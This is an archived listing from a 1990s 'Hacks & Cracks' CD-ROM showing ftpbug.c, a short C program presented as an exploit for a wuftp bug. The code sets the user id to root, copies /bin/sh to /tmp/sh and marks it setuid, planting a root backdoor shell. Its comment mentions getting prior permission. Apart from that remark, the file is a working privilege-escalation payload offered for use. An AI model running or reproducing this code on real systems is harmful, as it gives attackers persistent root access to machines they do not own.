home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hacks & Cracks
/
Hacks_and_Cracks.iso
/
hackersclub
/
km
/
downloads
/
c_scripts
/
ftpbug.c
< prev
next >
Wrap
C/C++ Source or Header
|
1998-03-25
|
424b
|
20 lines
/*
Simple program to exploit the bug in wuftp. As you can see, its only a
matter of setting the euid to 0, and doing what you want - in this case
creating a suid root shell in /tmp. Of course, you get prior permission
before trying such a thing.
-Halflife
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main()
{
setuid(0);
system("/bin/cp /bin/sh /tmp/sh");
system("/bin/chmod u+s /tmp/sh");
}